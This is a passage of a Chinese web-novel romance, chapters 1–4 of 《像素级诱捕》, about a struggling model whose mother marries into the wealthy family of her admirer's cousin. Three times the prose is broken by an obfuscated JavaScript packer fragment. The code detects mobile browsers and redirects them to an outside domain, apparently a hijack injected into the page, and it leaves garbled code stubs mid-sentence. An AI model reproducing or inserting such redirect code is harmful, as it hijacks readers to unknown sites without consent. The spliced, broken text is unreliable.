《像素级诱捕》 1. 第1章 二零一五年,十月份。 快门声落,苗音终于得以喘口气,十月的风透过她身上轻飘飘的雪纺春装,刮得她皮肤生疼。 来不及歇下,一件厚重的羽绒服又披了上来,前一秒冻僵的毛孔还没收缩,潮热的汗意就一下涌了出来,黏腻地贴在背上。 对于淘宝模特来说,十月份是旺季,苗音入行已有两年时间,早就见识过旺季的工作量。 拍完最后一件羽绒服,今天的工作就算结束。 她选择做模特的原因很简单,门槛低,能挣钱,但入行后才知道,钱难挣屎难吃,这一行,反季节拍摄只是小事,很多模特进入拍摄状态以后,常常一整天不喝水、不吃饭,苗音做不到,身体是自己的,用健康来换钱,她说什么都不愿意。 在现场休息了会儿,苗音打开手机,看见暧昧对象给她发来的微信。 江阳秋:【还有一个红绿灯就到了。】 苗音回了个“好的”。 现阶段,其实她没想过谈恋爱,原因很简单,谈恋爱太费钱了,她赚的钱要用来还贷、生活,而一个普通的大学男生,通常从家里获得的生活费也有限。 她无法想象一场紧巴巴的恋爱要怎么谈,但问题是……认识江阳秋后,她发现他很有钱。 她和江阳秋是玩游戏认识的。 大概是因为穷孩子赚钱后,总想买点电子产品来证明“我也可以拥有”,她做模特攒了点钱,就给自己组了台电脑。 苗音从小时候就开始玩游戏,经验十足,她在游戏论坛发了一篇攻略,因为质量高,在论坛内部火了一把,就这样阴差阳错认识了江阳秋,还加上了微信。 和苗音这种到处淘二手配置装电脑的垃圾佬不同,江阳秋的电脑是高配,光一张显卡都够她吃半年,朋友圈晒的硬件更是价格不菲。 最关键的是什么呢,有一次,江阳秋给她发了一张他妈妈参加重要会议的照片,苗音照着座牌去天眼查一搜,发现他妈妈担任好几家大型企业的高管。 很有缘的是,她和江阳秋在一个市相邻的区,两人线下面基了几次,苗音对他印象不错:没有过界行为,更不会因为家境和学历比她好就暗含优越,年龄和她相仿,人也又高又帅。 通过各种细节,苗音判断出江阳秋是个富二代,她觉得,跟有钱人接触一下,并不是什么坏事,起码能开拓眼界,将来不会被普男装有钱骗到。 所以,当江阳秋对她释放暧昧的信号时,苗音没拒绝。 她和江阳秋认识两个月,这周末是他20岁生日,除了邀请她外,还有一群她早有耳闻的纨绔二代,因此她兴致缺缺。 直到上了车,路上,听江阳秋提起一件事:“今天我表哥也会来!他是你们隔壁锦大的。” “锦川大学?厉害。”苗音说道。 这种在985中排列前位的学校,高中那会儿曾经是她的幻想,如今属于她望尘莫及的一类。 她读高中并非不用心,那时她的想法很简单,她摊上一个畜生爸,这事已成定数,家里情况不好,她只有努力读书,才能改变命运。 彼时,苗音还很年轻,等她大了点才发现,有的东西很难光靠努力就能改变,就像她出生在小地方,也决定了教育资源、学习环境打不过大城市的学生们。 她天赋不算高,虽然在班上名列前茅,最终高考成绩也只超了本科线30分。 这个分数很尴尬,因为摆在她面前的,只有两种选择:大专、民办本科。 基于现实原因,苗音选了前者,民办本科学费太贵,就算有助学贷款,她家里也负担不起。 但有一件对她来说很好的事是:她上大学,有时间出去挣钱了。 如今,她赚的钱足够日常开销,再攒一点,毕业前有望还完助学贷款。 要是有机会,她想继续读本科、硕士,甚至她心底还有个微小的愿望,就是出国。 江阳秋接着说:“考上锦大不算什么,他学的是导航工程,今年大三,但已经参与他们公司的‘坤灵星座’计划了,虽然年轻,但被允许接触核心模块。” 说到这儿,他像是想到什么有意思的事:“而且我跟你讲,他们团队里没人知道公司是他家的,天天加班肝项目,就为了给他家赚钱;吐槽他爸要求多,结果太子爷就在身边。” 苗音笑道:“你这么说,我倒是有点同情打工人了。” 江阳秋顿了下,说你同情他们干嘛,他们一年工资能在锦川最好的地段付套房子首付了。 苗音顿了顿,心里却泛起一阵微妙的涟漪。 每每听到这种天之骄子金光闪闪、一路繁花的人生,苗音总会觉得心里像被一根根细针扎过,不是痛,而是一种说不清的焦灼,仿佛被一座无形而巨大的高山压迫着。 她知道这种比较毫无意义,可每当看到别人的起点,也许是她走过这一生都达不到的终点,还是忍不住想,到底要多努力,才能填补这种从小到大的差距? 江阳秋选的地方在锦川市市中心,一个顶奢酒店内,能吃饭、能去购物、还有私人KTV。 苗音第一次来这种地方,但也没半点怯场,电梯门开启,迎面炸开了一阵盛大的礼花雨。 “江少,生日快乐!” 十几个精心打扮的年轻人围上来,苗音站在江阳秋身边,跟着他这个寿星蹭了一回,然而她的目光却穿过香槟与鲜花,落在落地窗边的身影上。 有一类人的气场是藏不住的,尤其是在一群不着调的人中间,那人指尖贴着威士忌杯,杯中的冰球折射出碎光,映在他的袖口上,不用介绍,苗音就确定了,这就是江阳秋那位表哥。 有句话说,第一次见面的场合很重要,而眼下这场合,满屋子都是些游手好闲的纨绔子弟,恰恰成了他最完美的反衬。他站在那儿,神色疏淡,目光扫过来时带着点不经意的审视。 在接下来吃饭的过程中,韩砚几乎也没跟人有什么交流,倒是一直有人不断跟他搭话,苗音看出来了,这种小圈子的人多半都慕强,对他有种发自内心的敬畏,可他态度却一直不咸不淡,始终报以恰到好处的疏离。 有点装。 苗音在心里评判,看来沉稳出众,不过是另一种傲慢,有钱人分很多种,眼前这种是她最讨厌的类型(之一),仗着出身好、长得帅,看谁都带着几分轻蔑。 苗音不知道的是,在她观察别人的同时,自己也在被别人注视着,她走出电梯那一刻,韩砚的视线就落在了她身上。 江阳秋的前女友很多,多是些不着调的网红、模特,韩砚一向欣赏不来,本以为这一次的也大差不差,但在看到苗音的那一刻,他想,这个弟弟的眼光总算正常了一回。 然而,她的那双眼睛却让他莫名感到警惕,苗音的眼睛清亮而锐利,就算努力表现得毫无攻击性,眼底也是藏不住压不住的精明和野心。 江阳秋真驾驭得住? 只不过,很快他便迅速移开了视线,甚至不大愿意再去看那双眼睛。她的眼神太过直白,其中的情绪更是毫不掩饰,充满了侵略性,或许是多年教育使然,他下意识抗拒这种赤.裸的坦诚。 吃过饭后,一众人决定去KTV唱歌。 酒店的ktv包厢用的是隐形灯带,暖调光晕,与顶部的星空灯效交织在一起。 光是唱歌有些无聊,而喝酒总是绕不开的娱乐项目,于是点了歌,就有人提议一起喝酒。 “江少,把这位妹妹也拉上呗。” 一个染着黄色头发的男人走到江阳秋面前,手里拿着一副骰子,玩世不恭的语气。 苗音对这种人有些莫名的反感,刚才她就注意到了,这个人很不喜欢韩砚,准确地来说,是不服气,不服气韩砚能得到那么多关注。 可显而易见,他自己比不过韩砚,因而只能不服气。 面对黄毛哥的邀请,江阳秋没有拒绝,大概是看韩砚无聊,又把他也拉上了。 韩砚虽然跟这群人不熟,但自己弟弟的面子还是要给的,于是就这样,六个人坐了一圈,开始酒桌游戏。 “就玩‘死神轮盘赌’吧。” “死神轮盘赌”似乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317042|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风靡在这个小圈子里的游戏,只有韩砚、苗音不知道规则,江阳秋在一旁耐心解释: “一人6个骰子,如果能摇出3个相同的点数,可以指定一人喝一杯。摇出4个点数,可以指定一个人喝点数的杯数,或陪你死神轮盘赌。顺子全场喝,全单自己喝,全双不能行动。” 规则并不难,前面的几轮,苗音都安全度过,大概是桌上另外几人跟她都不熟,因此没好意思指定她喝。 直到第四轮,黄毛哥摇出了四个5。 他支着下巴,扫视了在场所有人一圈,最后,视线停在了苗音脸上:“这位美女,你来吧?是喝酒还是轮盘赌?” 苗音被点到了,按照规则,她有两个选择,第一个选择,是直接喝五杯烈酒。 第二个选择,是陪黄毛死神轮盘赌,规定点数“4”为死神,摇一把,“4”多的一方获胜,输的人就要喝双倍。 也就是说,如果选择轮盘赌,她有概率不用喝酒,可一旦输了,就得喝10杯。 苗音心里思忖起来,她刚才浅尝过这里的酒,和外面普通的酒吧完全不同,外面的酒多是勾兑的假酒,喝一晚上也不会醉。 但这个地方的酒,是正儿八经的烈酒,即使混了甜腻的饮料,依旧能尝出至少40度以上的烈性酒味。 而周围都是她不熟悉的人,哪怕是江阳秋,也不能完全信任。 在这种环境下,她必须确保自己不能喝断片。 苗音知道自己的酒量在哪,装酒的杯子不大,一次喝5杯也许没事,但要是运气不好,喝10杯,那就难说了。 “我喝5杯吧。”她说。 “没意思。”黄毛露出失望的表情,“胆子这么小啊,美女。” 苗音微微一笑,并不中他的激将法。 原本,这该是英雄救美的好时机,江阳秋这一把却摇出个全双点数,无法行动,也不能代喝,只能抱歉地看着她。 苗音缓缓喝了5杯下去,她料想后面的运气未必这么差,如果又点到她了,江阳秋应该会帮她挡酒。 喝完之后,游戏继续。 可似乎真是想什么来什么,下一把,黄毛摇出四个6,而江阳秋又好死不死的,摇出了全双。 “我靠!什么鬼运气。”江阳秋骂道,他看向黄毛,“明老板,你悠着点啊。” 黄毛名叫徐明远,熟人都叫他“明老板”,徐明远冲江阳秋笑了笑:“江总,玩游戏可不兴你这样,这位美女肯定玩得起,对吧?” 他看向苗音,说:“苗小姐,咱们继续?” 让人连喝两局,明显是冲着整人来的,桌上另外几人都看明白了,不知道这位美女是哪里得罪到了徐明远,可这时,谁都不想出头,为一个第一次见面的人多喝那么几杯,何必给自己找麻烦? 苗音这会儿也品出点不对,这人是跟她杠上了啊? 她可不是任人欺负的主,既然这样整,那她就跟他赌一把,真的要是输了,大不了趁人不注意,把酒吐在纸上就行。 几分钟前喝的酒还没完全下去,苗音忍不住有些忐忑,就在犹豫之际,一只端着酒杯的手从旁边伸了出来。 “我代她吧。” 苗音看过去,望向前侧的韩砚,只见他视线紧盯着徐明远,眉眼虽然无波无澜,眼神却带点排斥,明显是看不惯他的这种行为。 帅哥,刚开始是我误会你了,苗音想。 “韩少要代她?”徐明远的表情带上几分意味深长,“代喝可是双倍哦。” 韩砚轻微地点点头,闷声说道:“嗯。” 徐明远靠在沙发上,扬了扬下巴:“韩少海量,我摇的是6点,双倍就是12杯,来吧,我给你计数。” “你误会了,我不是要代她喝酒。”韩砚抬眸看他,目光带着点冷幽幽,用几人都能听见的音量缓缓说道,“我是要代她跟你轮盘赌。” “轮盘赌双倍、代喝又是双倍,也就是说,输了的人要喝24杯。”他把骰盅往前一推,语气平静,“开始吧。” 苗音的心跳骤然漏了一拍。 2. 第2章 听见他说的话,酒桌上的其他人纷纷瞪大双眼,不可置信地看着他。 唯有江阳秋表情平淡,似乎已经习惯了韩砚的做派。 “你、你确定?”徐明远一下子坐直了身体。 韩砚平静地凝视他,没说话,只是轻轻点了点骰子,像是在催促。 “呵,行。”徐明远一下兴奋起来,他料定,像韩砚这种好孩子、高材生,对这些酒桌游戏必定是一窍不通,当然也玩不过自己。 正好,他从刚才开始就不爽韩砚,这人无非就是家里有钱点,运气好上了个好大学,又靠关系进了好公司而已,说什么卫星导航天才,讲那么高端,有什么了不起的? 那些没见过世面的人上去巴结,看得徐明远一阵反胃。 可要问他为什么针对苗音,不针对韩砚,那当然是他不敢,柿子只挑软的捏,他不敢招惹韩家的两兄弟,于是只敢把情绪发泄到看着好欺负的苗音身上。 但既然韩砚主动撞上门来,那就别怪他了。 徐明远拿起骰子,在酒桌上不断摇晃,最后停下,他揭开骰盅一数,摇出了四个4。 要想比他大,得摇五个4或六个4,这概率还是比较小,徐明远环抱双臂,胜券在握地对韩砚说:“韩少,承让了。” 韩砚没理他,而是轻轻握住骰盅,手腕随意一翻,骰子在盅内清脆地碰撞几下,便被轻扣在桌上,揭开时,他连看都没看一眼。 众人凑了上来。 “豹子!”有人惊呼。 六个4。 韩砚这才抬眼,从容地看着徐明远:“客气了。” 隔着昏暗的灯光,苗音都看得见徐明远脸色绿了,他俯身盯着那盘豹子,周身写满了不甘心。 “明老板,要不要帮你计数啊?”江阳秋歪着头冲他笑,露出两颗小小的虎牙。 徐明远脸色一沉,开始耍赖了:“我觉得不对吧?你是代喝,我又不是代喝,你输了要喝24杯,我输了应该只用喝12杯才对。” 韩砚听完,轻轻嗤笑一声,跟身旁的江阳秋交换了个眼神,然后对徐明远说:“可以。” 江阳秋跟韩砚对视完后,说:“明老板,我劝你还是喝24杯,真要这么赖的话,我只能说你自求多福吧。” 在场的人跟韩砚不熟,事实上,就算是熟人,他的形象也只是个典型的循规蹈矩的精英,只有江阳秋清楚,他初中那会儿是什么样的,更让江阳秋叹服的是,这个人喝酒是真的喝酒,从不在酒桌上乱搞那些男女之间的事,后来更是说戒就戒,毫不拖泥带水。 酒精能够激发人最深处的欲望,很多人喝了酒不见得会闹事,但很多人喝了酒会突然变得不可一世,会跟陌生人亲嘴、一夜情,在夜场都是一些非常常见的事,甚至有的人喝酒只是为了艳遇。 但这种事,从没出现在韩砚身上,酒精击不垮他的底线和原则,这是江阳秋最佩服他的一点。 有个段子说:“如果你喝完酒,不胡言乱语,不哭不闹,不乱吹牛,不乱打电话,不乱发微信,能做到这五点的,你喝个毛线,浪费钱”。 江阳秋觉得,这个段子就是在说他哥本人。 至于这些酒桌上的游戏,对韩砚这种聪明人来讲,根本就是小菜一碟,就算没玩过死神轮盘赌,可底层逻辑是一样的,手拿把掐。 只不过这两年他哥收敛了,锋芒不露,很多人不知道而已。 要是徐明远老老实实地喝下这24杯,兴许他哥还不会计较,可要是事先说好了,喝的时候耍赖,非要这么恶心人的话。 他哥的手段,他是见识过的。 可惜的是,徐明远并不懂这个道理,也不知道韩砚有多会玩,他只当韩砚运气好,难道他还能玩不过这种夜场小白?他就不信邪了。 于是,他心安理得地喝下了12杯,紧接着开始了下一轮。 这一轮,徐明远的运气不错,摇出了三个1,他当即指定韩砚喝酒,为自己报仇。 韩砚喝下一杯,开始摇骰子,一打开,摇出了四个6。 他对徐明远说:“喝吧,6杯。” 所有人瞪大眼睛。 徐明远哑口无言,最终,只能憋屈地喝了,下一轮,他什么都没摇出来,而韩砚又摇了四个6。 “你肯定作弊了!”他怒拍桌子。 江阳秋道:“明老板,话可别乱说,你要是怀疑我哥作弊,他可以跟你换副骰子。” 韩砚拿起自己面前的骰盅,冲着徐明远摇了摇,骰子在里面发出咕噜的碰撞声。 “要换吗?” 徐明远看看韩砚,又看看他手里的骰盅,果断地说:“要换!” 换了新骰盅的徐明远,一次也没摇出过像样的点数。 反而是韩砚,不是四个6,就是四个5,徐明远被迫喝了不知道多少次。 苗音在心里默默计数,这下子,何止是24杯,只怕翻倍不止了。 徐明远这个人也有意思,你说他是个老实人,他不仅针对苗音,还赖酒。你说他阴险狡诈,他又老老实实地做完了每一次惩罚,即使可能没喝够。 几局玩下来,面对韩砚再一次摇出的五个4,徐明远再也受不了了:“韩少、江少,我错了行不行?我不该针对这位美女,更不该赖酒,你们大人有大量,饶了我吧,实在是不能喝了。” 江阳秋笑嘻嘻地对徐明远说:“明老板,我还是喜欢你刚才桀骜不驯的样子。” 徐明远有苦难言,他怎么也没想到,韩砚居然还有这一手,他抬头,看向韩砚。 玩游戏都是你来我往的,韩砚也喝了一些,可看着完全跟个没事人一样,这时徐明远才醒过神来,这人哪是什么夜场小白,分明是江湖高手。 早知道刚才就不赖酒,说不定这一茬就被揭过了。 江阳秋当然知道徐明远的酒量,押着他喝完了最后一罚,今天就算结束了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317043|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 散场了,徐明远迫不及待地逃走,生怕被拉着去转场,其实没有人打算去第二场,但架不住他心里有鬼,于是仓皇而逃。 韩砚在叫代驾,只是这个点正是高峰,一直在派单中,身边有人问他:“韩少你家司机呢?” 韩砚回答:“已经凌晨了,司机也要休息,叫代驾就行。” 如果不是他的脸颊有一些微微泛红,完全看不出这是一个喝过酒的人。 没要一会儿,就有代驾接到了单,苗音站在夜晚的微风中,看着他上了车,她微微躬身,轻声对他说:“今天谢谢你。” 韩砚虽然看上去神色如常,但实际上,他的脑袋已经有些昏沉,他刚一坐上副驾驶,只感到身边一阵淡淡的香气靠近,还没来得及反应,就听见她那声轻柔的道别。 等回过神来的时候,汽车已经奔驰而去。 人都走得差不多了,苗音看了看时间,这个点寝室已经关门,她在锦川市没有房子,她家又离市区很远,于是,她决定去周围的酒店开个房。 她给江阳秋扯了个谎,说去朋友家里住,打车走了。 苗音坐在车上,看着窗外不断掠过的灯影,锦川市和她老家小镇不一样,在小镇上,不到十一点街道就一片漆黑,不见人影,但锦川市的十一点正是夜生活开始的时候,灯光透亮,道路上挤满了打扮时髦的男男女女。 苗音看着密密麻麻的高楼,她想,这里修了这么多房子,为什么不能有一个属于她的家呢? 还要挣多久…… 苗音在酒店睡了一晚,第二天起床的时候,微信上有好几条消息。 第一条是妈妈发给她的。 【音音,妈妈要去灰岩镇处理事情,可能要几天,你照顾好自己。】 附带一个1000元的转账。 灰岩镇? 那不是她那个畜生爸躲的地方吗? 大概在两年前,苗刚染上网赌,欠了一大笔赌债,这之后就躲了起来,李静东打听西打听,好不容易打听到他在躲在灰岩镇,去那里找过他好几次,可都无疾而终。 苗音心脏狂跳,她把转账退了回去,回复:【去处理苗刚的事吗?】 那边没有回复,她打电话过去,语音提示正在通话中。 过了大概二十分钟,她的手机显示消息提醒。 李静:【是的,回来给你说。】 她又发来一张照片,苗音点开一看,照片是一个男人的背影,看得出男人正值壮年,戴着价值不菲的腕表,最最醒目的是,他身边还跟着两个黑衣打扮的保镖。 李静:【有人跟我一起,别担心。】 虽然不知道照片里的人是谁,但看这阵仗,至少李静的安全应该没问题,苗音稍微放心了一点。 她没有想到的是,就在几天后,她的人生、她和韩家那两兄弟的关系,会因为照片上这个男人的出现,发生翻天覆地的、完全没有预料的变化。 3. 第3章 苗音收到的第二条微信,来自江阳秋,问她昨晚有没有喝太多。 苗音说多亏韩砚,她没喝多,并且让他转达她对韩砚的感谢和歉意,给他添麻烦了。 江阳秋给她解释:【别这样想,他只是看不惯酒桌上针对女生的行为。】 【他这人一向这么直接,容易热血上头,遇到看不惯的事就会站出来说话。】 【你别看他好像很成熟,实际上,他年纪比你还小一点。】 比她小?苗音完全没想到,大家虽然长得都很年轻,只看得出是同龄人,但韩砚身上一股不怒自威的气质,实在看不出还比她小。 江阳秋算了算,说他比你小6个月,真要论起来,还得叫你一声姐姐呢。 苗音摆烂一笑,原来才21岁啊,晚上睡觉的时候,不会被闪亮的前途照得睡不着吗? 这件事很快过去了,在这之后,苗音忙着拍照,每天的生活除了上课就是拍拍拍,有时实在抽不出上课时间,以至于被逼无奈只能请代课。 幸好她早就摸索出一点经验,遇到水课、或者只会念PPT的老师,她就找代课,有讲得确实有用的老师,她就自己去上课。 至今,她还没有挂科经历! 因为上次的聚会,她对江阳秋的态度也有一些举棋不定,哪怕他没有做错什么,甚至还一直护着她。 她只是非常直观、非常清醒地意识到了两人之间残酷的现实差距——社交圈不同,出身背景不同,面对许多事情,处理问题的方法也不同,今后势必会存在很多问题,哪怕感情到位了,也很难很难迈过家庭那一关。 江阳秋曾向她吐露心声,说自己并不喜欢那群酒肉朋友。苗音问他,不喜欢,为什么还要来往? 江阳秋说:“父辈们生意上有往来,表面功夫总得做到位…有些关系,不是想断就能断的。” 苗音以前总是很羡慕有钱人,羡慕富二代,可真正接触后才发现,那种生活不是她能适应的,起码,不是现在的她能够适应的。 她以工作忙为理由,这段时间减少了和江阳秋的联系,然而对方反而更心疼她,让她不要那么累,给她打钱,苗音不收,他就给她转支付宝里,最后被她退回并拉黑支付宝。 江阳秋:【好吧,那你需要钱一定要跟我说哦。】 这之后,他反而更粘人,有时候会一连给她发十多条微信。 就这么稀里糊涂地过了一周,十月底的时候,苗音没再向之前那样像无头苍蝇一样乱忙,也更能适应模特的工作节奏。 这天她结算了工资,原本想打点钱给李静,却在这时,手机震动,李静给她打来了电话。 苗音几乎是瞬间就接了起来。 “喂,妈,我正说找你呢,我发工资了,你那边怎么样?还顺利吗?” “是吗?真厉害音音。”李静的声音带着笑意,但很快又压低了,像在卖关子,“妈妈要告诉你件好事,你猜一猜?” 苗音停顿了三秒,说出自己最渴望听到的:“苗刚是不是死了?” “你这孩子!他再怎么混账也是你爸,怎么能这么胡说八道。”李静责骂道。 苗音的声音带上一丝自己都没察觉到的期盼和兴奋:“那就是、你成功和他离婚了!” “聪明。”李静说。 苗音一下子攥紧了手机,那一瞬间,解脱、混乱、如释重负,巨大的情绪海啸涌了上来,冲刷着她。 她有一种晕乎乎的不真实感,但冷静下来,她又问:“妈你怎么搞定的?他那种人…” “这就是我要告诉你的第二件事了。”李静停顿了一会儿,似乎在斟酌怎么开口,背景的嘈杂似乎也安静了一瞬。 再说话时,她的声音带上几分不自然:“妈妈高中的时候,曾经有过一场初恋,后来因为种种原因分手了,前段时间,有人组织了同学聚会,才知道他现在成了大老板,在锦川开了大公司,买了大房子。他……听说了我的事,主动帮忙,托了些关系,这才让那头彻底解决了,上次我给你拍的照片,中间那个人就是他。” 成年人的世界里,主动帮忙的背后往往藏着更复杂的含义,说难听点,天下哪有白吃的午餐?苗音敏锐地捕捉到李静语气里那份不同寻常的波动,她试探地问道:“那那个叔叔他……他是一个人吗?” “他一年前离婚了。”李静紧张地说,小心翼翼地问,“所以,音音,你同意吗?” “我当然同意!”苗音想也没想,她妈如今脱离了一个大坑,有人来拉她一把,又是曾经的初恋,那妈妈当然有追求幸福的权力。 再者说,如今李静四十出头,在这个社会上看惯了形形色色的人物,想必也经过了深思熟虑才做出这个决定,不会再像年轻时那样瞎眼。 “那太好了。”李静长舒了口气,“音音,谢谢你理解妈妈。那,明天晚上,我们就一起吃个饭,你觉得怎么样?他还有个儿子,比你小几个月,到时也都认识一下。” “可以啊。”苗音说,“那我怎么称呼那个叔叔呢?” “他姓韩,叫韩永维,你叫韩叔叔就好。” 韩永维? 苗音像是想起什么,笑容僵住了,还没来得及理清楚,下意识联想到的东西,就让她的心脏止不住狂跳。 韩永维…韩永维? 接下来,李静叮嘱了她几句吃饭时要注意的问题,又给她发了地址,苗音虽然全程应着,但实际上一个字也听不进去,脑子里一直回想着“韩永维”这三个字。 她在什么地方,见过这三个字? 挂掉电话,她赶紧打开了和江阳秋的聊天框,往上猛翻,肾上腺素不断飙升,呼吸开始止不住紊乱,连指尖也微微抖起来。 直到翻到了她想要的东西——他之前发给她的那张照片。 照片中的女人气质典雅,佩戴一对香奈儿珍珠耳饰,虽然看得出已到中年,但穿着考究,保养十分得当,正是江阳秋的母亲。 女人面前的桌子上,摆了一张座牌,淡红色底纸,上面三个端端正正的魏碑简体字——韩永怡。 苗音再次打开天眼查,输入她的名字,找到她任职的那家卫星遥感公司,继续往下翻,便看到了“大股东”:韩永维。 韩永维、韩永怡,这是一对兄妹,或者姐弟啊! 【我哥比你小6个月,真要论起来,还得叫你一声姐姐呢。】 同一句话,不同的心境看就有了不同的味道,苗音花了一小时时间整理心情,努力告诉自己要保持镇定,直到重看江阳秋发给她的这句话,才让她找回一点真实感。 她内心只有一个感受:现实真是比电视剧更狗血,因为现实是不会给你讲逻辑的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317044|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 根据李静的讲述,苗音了解到韩永维发家的历程。 他和李静出生在同一个村里,韩永维没读完书,早早出了社会,靠农产品贸易白手起家。 过程中,韩永维敏锐地发现农作物长势监测技术是将来的发展趋势,于是果断开始涉猎农业遥感。 去年年底,又有政策鼓励民间资本进入商业遥感卫星领域,韩永维通过政商人脉嗅到了政策风向,借机成立卫星测绘公司,成为首批民间资本入局者。 如今通过卫星测绘加农业,公司转型如火如荼,连他儿子也在帮忙。 早些年,韩永维就在锦川市一环内买了一套空中顶跃,属于苗音此前听说过锦川最贵的板块之一。 幸好留给她缓冲、消化这个消息的时间还算充足,第二天晚上,在做足心理建设后,苗音按照地址,准时到达了韩家。 一进门,就是一个至少6米高的挑高客厅,挂着一盏层层叠叠、金光闪闪的欧式水晶吊灯,整个房子的装潢,更是要多高调有多高调,要多奢侈有多奢侈。 从韩叔叔那天的装扮,和这个房子的装修来看,他是典型的暴发户审美。 为了今晚的见面,她化了个淡妆,虽然打扮得简单大方,但实际上,她还是不能完美调节“暧昧对象的舅舅成了自己继父”这件事。她今年21,还没到能藏住事的年龄,因此稍微细心一点的人,都看得出她的忧心忡忡。 ** 这段时间,项目上有点忙,所以韩砚并没精力过多关注那晚的事,唯一记得的是江阳秋那个暧昧对象,临走前似乎是给他告了别。 过了快一周,就连苗音也快从他的记忆中淡出去了,这个时候,韩砚突然接到了韩永维的一通电话,让他今晚回家吃饭,有件事要在饭桌上宣布。 他没有告诉韩砚是什么事,韩永维对他向来是沉默式沟通、沉默式教育,父子俩之间几乎没有商量,只有单方面的通知,韩砚早就习惯了这样的相处模式。 一回到家,韩砚照例差点被客厅里的水晶灯闪瞎,没办法,韩永维的审美就是这样,他已经习惯了,他放下车钥匙,换了拖鞋。 在玄关,他就听到一阵谈话声,听得出气氛很轻松。其中一道声音来自韩永维,另一道声音很年轻,很清脆,是个女孩儿的声音,韩砚总觉得在什么地方听过,而且是最近听过,可一时之间,又怎么都想不起来。 苗音是背对他的,因此走进客厅,他首先看见的是她绰约的背影,和一头弧度漂亮整齐的卷发,这个背影,一下和他记忆中的某个人重合了起来。 但此时,韩砚还不敢确定,他的第一反应是,应该是他认错了,这个人不可能出现在这里。 这时,坐在对面的韩永维望向他:“回来了?” 这一声动静,引得沙发上的另外两人都回头看他。 韩砚又看到了那双极具攻击性,充满掠夺感的眼睛。 她的视线里,带着还没完全褪去的笑意和探究,朝他直直地看过来,引得他的动作停顿了一下,而后停在了原地。 “快过来,给你介绍一下。”韩永维喊道,“这个是李阿姨,这个是她女儿苗音,比你大一点,从今天开始,她就是你姐姐了。” “来,叫姐姐吧。” 向来情绪浮动很小的韩砚,此刻,表情终于出现了一丝崩塌。 4. 第4章 这一番话没有明说,也可以说就差明说了,韩砚当然听得出他爸话中的意思,简单来说,他爸给他找了个后妈,后妈的女儿,是他堂弟的暧昧对象。 这是什么发展? 韩砚也不由得为这巧合感到讶然,甚至差点骂脏话,他看向苗音,她穿着一件宽松的衬衫,眼睛低垂着,睫毛投下的浅影遮住了那双总是过于锐利的眼睛。 凭心而论,出于礼貌,李阿姨他可以叫,但叫姐姐,韩砚开不了口。 好在韩永维似乎早就料到自己儿子的德性,没打算追究。 苗音的心思也没放在他身上,这场面,任谁来都很难开口,她刚才用“亲戚计算器”算了一下,现在,江阳秋是她的“继堂弟”,下次再见面,他得叫她一声“继表姐”。 她不禁想起上次和韩砚见面的场景,正在暗自尴尬之时,韩永维问起她在哪里上学。 苗音虽然还没能完全消化,但也不是矫情的性格,既然母亲有了新家,能与这些新家人和睦相处,自然是再好不过的事。 韩永维何许人也,生意做这么大,自然是八面玲珑的好手,此刻与苗音不谋而合,这场见面,两人都抱着相同的态度。 “我在锦川服装职业学院,学的是服装设计,现在兼职模特。” 苗音心里明白,面对这种阅历比她多得多的人,她不能耍心眼,真诚才是最聪明的应对方式。 没有人不喜欢努力的人,韩永维自己也是一穷二白干起来的,当即表示了对苗音这股拼劲的欣赏,感叹道:“年轻真好,年轻人总是这么有冲劲。” 苗音心想大佬就是大佬,连“被生活毒打”都能说得如此清新脱俗,她谦虚地回应着,同时,她敏锐地观察到一件事。 那就是他们这边聊得热络,韩砚却基本没插过话,像个局外人一般,父子俩唯一的对话,是下周工作上的一场商务宴请,更像一对上司和下属的交流。 苗音想,有钱人的家庭关系多少有点复杂,毕竟有相当一部分人,别看在外人面前如何长袖善舞、左右逢源,到了自己真正的亲人面前,反倒一句好话都说不出。 直到现在,她还是觉得有些魔幻,不可思议的,不是李静再婚了,而是她再婚对象的身份,用跨越阶级来说也毫不未过。 她知道,时尚的嗅觉对自己的职业发展非常重要,因此有意主动接触。她注意到韩砚手上的腕表,外观非常低调,灰蓝色渐变表盘,古董压花,柳叶指针。 这是一款小众品牌,很少有人能认出,乍一看可能会误以为是一款普通的腕表,但她知道,它实际上的价格是50万。 她听见他和韩永维的谈话,两人说下周要在锦川某家餐厅宴请重要合作伙伴,苗音也知道,那家餐厅加上配酒,人均2000,一共10个人,也就是两万。 虽然看似她和韩永维相处不错,但这种事情,能够毫不留情地撕开他们之间巨大的现实差距。 她辛辛苦苦拍照,出卖自己的时间和精力,一年赚来的钱,不过就是人家一顿饭的开销;而那个看似平平无奇,甚至只是韩砚为了低调才戴上的手表,也许就是她努力大半辈子才能赚到的钱。 